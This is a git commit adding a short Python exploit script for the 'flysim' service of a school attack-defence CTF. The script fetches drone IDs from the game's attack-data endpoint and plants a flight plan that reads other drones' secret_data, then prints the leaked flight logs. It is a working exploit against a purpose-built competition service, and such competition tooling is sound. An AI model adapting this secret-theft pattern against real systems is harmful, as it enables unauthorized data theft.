adding validated services? patching forcad_local.py
This commit is contained in:
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
|
||||
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
Reference in New Issue
Block a user